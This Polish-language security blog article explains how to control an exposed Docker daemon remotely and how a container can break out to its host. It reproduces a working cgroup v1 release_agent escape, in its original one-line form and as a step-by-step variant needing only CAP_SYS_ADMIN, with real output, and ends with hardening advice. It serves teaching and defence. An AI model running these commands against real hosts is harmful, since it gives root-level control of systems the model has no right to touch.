Kroniki Shodana: Docker cz.II
Napisał: Patryk Krawaczyński
31/03/2020 w Pen Test Brak komentarzy. (artykuł nr 729, ilość słów: 1908)
W
pierwszej części poznaliśmy możliwości zaatakowania niezabezpieczonych API REST daemonów Docker. W tej części dokończymy kilka aspektów powiązanych z poprzednimi metodami. Po pierwsze nie musimy wykonywać wszystkich poleceń za pomocą stricte żądań HTTP – były one wykonane, aby przekazać Czytelnikowi widzę, jak to wygląda z niższego poziomu. Docker posiada własną wersję klienta przeznaczoną do takiej komunikacji. Dlaczego jeśli wskażemy mu zdalny host możemy wydawać wszystkie polecenia za pomocą lokalnego klienta.
export DOCKER_HOST=tcp://XXX.XXX.XXX.XXX docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS ad2dd1a9e9a4 ubuntu "/bin/bash -c 'apt-g…" 14 minutes ago Up 14 minutes
docker -H tcp://XXX.XXX.XXX.XXX info
Containers: 2 Running: 1 Paused: 0 Stopped: 1 Images: 5 Server Version: 19.03.5 Storage Driver: overlay2 Backing Filesystem: extfs Supports d_type: true Native Overlay Diff: true Logging Driver: json-file Cgroup Driver: cgroupfs Plugins: Volume: local Network: bridge host ipvlan macvlan null overlay Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog Swarm: inactive Runtimes: runc Default Runtime: runc Init Binary: docker-init containerd version: b34a5c8af56e510852c35414db4c1f4fa6172339 runc version: 3e425f80a8c931f88e6d94a8c831b9d5aa481657 init version: fec3683 Security Options: seccomp Profile: default Kernel Version: 3.10.0-1062.9.1.el7.x86_64 Operating System: CentOS Linux 7 (Core) OSType: linux Architecture: x86_64 CPUs: 1 Total Memory: 991MiB Name: iZ2vc32pj1uo2aglkdjv9sZ ID: YED4:X7K3:D5FV:W5RH:NH25:XU56:6UW7:PCQP:W26U:SGZ6:MFRH:S6TL Docker Root Dir: /var/lib/docker Debug Mode (client): false Debug Mode (server): false Registry: https://index.docker.io/v1/ Labels: Experimental: false Insecure Registries: 127.0.0.0/8 Live Restore Enabled: false
Po drugie kontenerów nie należy traktować jako remedium bezpieczeństwa typu: “umieszczę to w kontenerze, więc nawet jak ktoś uzyska prawa administratora to nic się nie stanie, bo to odizolowany kontener”. Problem w tym, że kontenery same w sobie – jeśli są niepoprawnie używane i skonfigurowane mogą stanowić niebezpieczeństwo dla systemu pod którego są kontrolą. Dla przykładu: niedawny tweet Felixa Wilhelma pokazał metodę ucieczki z uprzywilejowanego poda (Kubernetes) lub kontenera (Docker):
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c; chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
Kod ten przeprowadza dowód koncepcji (ang. Proof Of Concept (PoC)), który uruchamia polecenie ps
na hoście utrzymującym kontenery. Sam kontener Dockera został uruchomiony z flagą --privileged
i poprzez nadużycie funkcjonalności cgroup v1 notification on release (notify_on_release
) jest w stanie wykonać polecenie na hoście. Dlaczego flaga --privileged
powoduje zawsze tyle problemów? Ponieważ kontenery mogące skorzystać z tej opcji zyskują pełny dostęp do wszystkich urządzeń i nie są ograniczane funkcjami pochodzącymi z seccomp, AppArmor oraz Linux CAPabilities.
Analiza ucieczki:
Docker pozwala na szczegółowe ustawienia, które niezależnie kontrolują uprawnienia kontenerów. Przed rozpoczęciem używania kontenerów dobrze jest zrozumieć, jak one działają. Poniżej postaramy się przeanalizować, jak dokładnie doszło do w/w ucieczki i jakie niebezpieczne ustawienia pozwoliły na to zjawisko. W rzeczywistości opcja --privileged
zapewnia znacznie szersze uprawnienia niż jest to konieczne do opuszczenia kontenera, ale pozwala bardzo szybko uruchomić kontener gotowy do ucieczki. Jeśli przyjrzymy się temu bliżej to w rzeczywistości “jedynymi” wymogami do ucieczki są:
- Musimy posiadać uprawnienia administratora (root) wewnątrz kontenera,
- Kontener musi być uruchomiony z rozszerzoną zdolnością Linuksa:
CAP_SYS_ADMIN
, - Kontener nie może być pod kontrolą AppArmor, a jeśli jest to musi mieć możliwość wywołania systemowego
mount
, - Wirtualny system plików
cgroup v1
musi być zamontowany w trybie tylko do odczytu wewnątrz kontenera.
Zdolność CAP_SYS_ADMIN
pozwala kontenerowi wykonać wywołanie systemowe mount
. Docker domyślnie uruchamia kontenery z ograniczonym zestawem funkcji i nie włącza możliwości CAP_SYS_ADMIN
ze względu na ryzyko związane z bezpieczeństwem. Ponadto kontenery Dockera uruchamiane są z standardowym profilem AppArmor o nazwie docker-default, co uniemożliwia użycie polecenia montowania, nawet gdy kontener jest uruchomiony z możliwością CAP_SYS_ADMIN
. Dlatego, jeśli chodzi o szczegóły to, aby ucieczka była możliwa wystarczy wystartować kontener z flagami: --security-opt apparmor=unconfined --cap-add=SYS_ADMIN
.
Grupy kontrole Linuksa (ang. Linux control groups) – cgroups w wersji pierwszej (v1) są jednym z mechanizmów, za pomocą którego izolowane są kontenery. Powyższy kod nadużywa funkcjonalności replace_on_release
, aby uruchomić się jako w pełni uprzywilejowany użytkownik root:
Jeśli faga
notify_on_release
w ce’grupie jest włączona (1), wtedy gdy ostatnie zadanie opuści ce’grupę (poprzez wyjście lub dołączenie do innej ce’grupy), a potomna ce’grupa tej ce’grupy zostanie usunięta wówczas jądro uruchamia polecenie określone przez zawartość pliku release_agent w głównym katalogu tej hierarchii, dostarczając ścieżkę dostępu (względem punktu montowania systemu plików ce’grupy) opuszczonej ce’grupy. Umożliwia to automatyczne usuwanie opuszczonych ce’group. Domyślna wartość flaginotify_on_release
głównej ce’grupy podczas uruchamiania systemu jest ustawiona na 0 (wyłączona). Domyślną wartością innych ce’grup podczas ich tworzenia jest bieżąca wartość flaginotify_on_release
ich rodziców. Domyślna wartość ścieżki pliku release_agent hierarchii ce’grupy jest pusta.
Posiadając tę wiedzę możemy przepisać kod eksploita, aby nie używał flagi --privileged
. Będzie to wymagało dodania jednej linii kodu więcej ze względu na konieczność samodzielnego zamontowania systemu plików ce’grupy. Poniższy kod wykona polecenie ps aux
na hoście utrzymującym kontener, a jego wynik zostanie zapisany do pliku /output
na kontenerze. Używa on tej samej funkcjonalności notify_on_release
, co oryginalny kod:
# Uruchamiamy kontener na serwerze docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined \ ubuntu /bin/bash # Z poziomu kontenera wydajemy polecenia mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && \ mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
W celu uruchomienia tego kodu potrzebujemy ce’grupę, w której możemy stworzyć plik release_agent
oraz wywołać jego zawartość poprzez zabicie wszystkich procesów w jego potomnej ce’grupie. Najprostszym sposobem na osiągnięcie tego efektu jest zamontowanie kontrolera ce’grupy i utworzenie grupy potomnej. Dlatego pod katalogiem /tmp/cgrp
mountujemy kontroler RDMA ce’grupy i tworzymy grupę potomną (o nazwie “x”). W przypadku, gdybyśmy otrzymali komunikat błędu:
mount: /tmp/cgrp: special device cgroup does not exist
Zamiast kontrolera RDMA możemy wykorzystać kontroler memory
. Należy pamiętać, że kontrolery ce’grup są globalnymi zasobami, które mogą być montowane wielokrotnie z różnymi uprawnieniami, a zmiany wprowadzone w jednym montowaniu będą miały odbicie w kolejnych. Przejdźmy teraz do tworzenia grupy potomnej o nazwie “x”:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && \ mkdir /tmp/cgrp/x ls /tmp/cgrp
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
ls /tmp/cgrp/x
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
Jak mogliśmy się wcześniej dowiedzieć ustawienia funkcji notify_on_release
są dziedziczone z grupy macierzystej (a ta ma wartość “0”) – dlatego musimy włączyć powiadomienia w ce’grupie “x” poprzez zapisanie jedynki (1) w pliku notify_on_release
. Ustawiamy także zawartość pliku release_agent
w ce’grupie macierzystej tak, aby wykonał skrypt znajdujący się w ścieżce /cmd
(później tworzymy go w kontenerze). W tym celu pobieramy ścieżkę do kontenera na obsługującym go hoście z pliku /etc/mtab
kontenera i umieszczamy ją wraz z sufiksem /cmd
w pliku release_agent
(pliki, które dodajemy lub modyfikujemy w kontenerze są obecne na hoście i możliwa jest ich modyfikacja z obu poziomów: ścieżki dostępu w kontenerze i ścieżki dostępu na hoście):
echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab echo $host_path
/var/lib/docker/overlay2/f81d7e4c89612de37564d9762e0769/diff
echo "$host_path/cmd" > /tmp/cgrp/release_agent cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/f81d7e4c89612de37564d9762e0769/diff/cmd
Teraz możemy utworzyć skrypt /cmd
, który wykona polecenie ps aux
i zapisze jego wynik w pliku /output
na kontenerze (my określimy pełną ścieżkę do pliku, aby była widziana na hoście):
echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd cat /cmd
#!/bin/sh ps aux > /var/lib/docker/overlay2/f81d7e4c89612de37564d9762e0769/diff/output
Ostatnim etapem do przeprowadzenia ucieczki jest stworzenie procesu, który natychmiast zakończy się wewnątrz potomnej ce’grupy “x” i tym samym uruchomi zawartość pliku release_agent
ce’grupy macierzystej. Stworzymy więc “pusty” proces z poziomu powłoki /bin/sh, który zapisze tylko swój PID w pliku cgroups.procs
ce’grupy “x” i wyjdzie pozostawiając ją pustą / opuszczoną. Gdy tylko to się stanie zostaje wykonany skrypt z /cmd
, który zapisze wynik polecenia ps aux
(uruchomiony z prawami administratora) w pliku /output
na kontenerze:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" head /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 77928 9044 ? Ss 20:05 0:01 /sbin/init maybe-ubiquity root 2 0.0 0.0 0 0 ? S 20:05 0:00 [kthreadd] root 4 0.0 0.0 0 0 ? I< 20:05 0:00 [kworker/0:0H] root 5 0.0 0.0 0 0 ? I 20:05 0:00 [kworker/u2:0] root 6 0.0 0.0 0 0 ? I< 20:05 0:00 [mm_percpu_wq] root 7 0.0 0.0 0 0 ? S 20:05 0:00 [ksoftirqd/0] root 8 0.0 0.0 0 0 ? I 20:05 0:00 [rcu_sched] root 9 0.0 0.0 0 0 ? I 20:05 0:00 [rcu_bh] root 10 0.0 0.0 0 0 ? S 20:05 0:00 [migration/0]
Podsumowanie:
Oprócz sugestii z części pierwszej pamiętajmy, że Docker domyślnie ogranicza i limituje kontenery. Rozluźnianie tych ograniczeń może powodować problemy z bezpieczeństwem nawet bez użycia flagi --privileged
. Ważnym krokiem w procesie przyznawania każdego, dodatkowego uprawnienia jest weryfikacja jego dokładnych możliwości. Podobnie jak przy budowaniu zapór ogniowych - powinniśmy ograniczyć się do niezbędnego minimum. Na początek możemy zrzucić wszystkie rozszerzone zdolności Linuksa (--cap-drop=all
) i zezwolnić (--cap-add=...
) tylko na te, które są niezbędne. Wiele przypadków nie potrzebuje żadnych zdolności Linuksa, a dodawanie ich zwiększa zakres potencjalnego ataku. Dodatkowo możemy użyć opcji bezpieczeństwa no-new-privileges, aby uniemożliwić procesom uzyskiwanie większych uprawnień (na przykład poprzez binarki suid) oraz dostosować profile seccomp, czy AppArmor w celu ograniczenia kontenerów na poziomie wywołań systemowych. Szczególnie nie powinniśmy uruchamiać procesów naszych aplikacji / daemonów jako administrator - tylko jako zwykły użytkownik lub przemapować ich uprawnienia na hoście.
Więcej informacji: Hacking Docker Remotely, Understanding Docker container escapes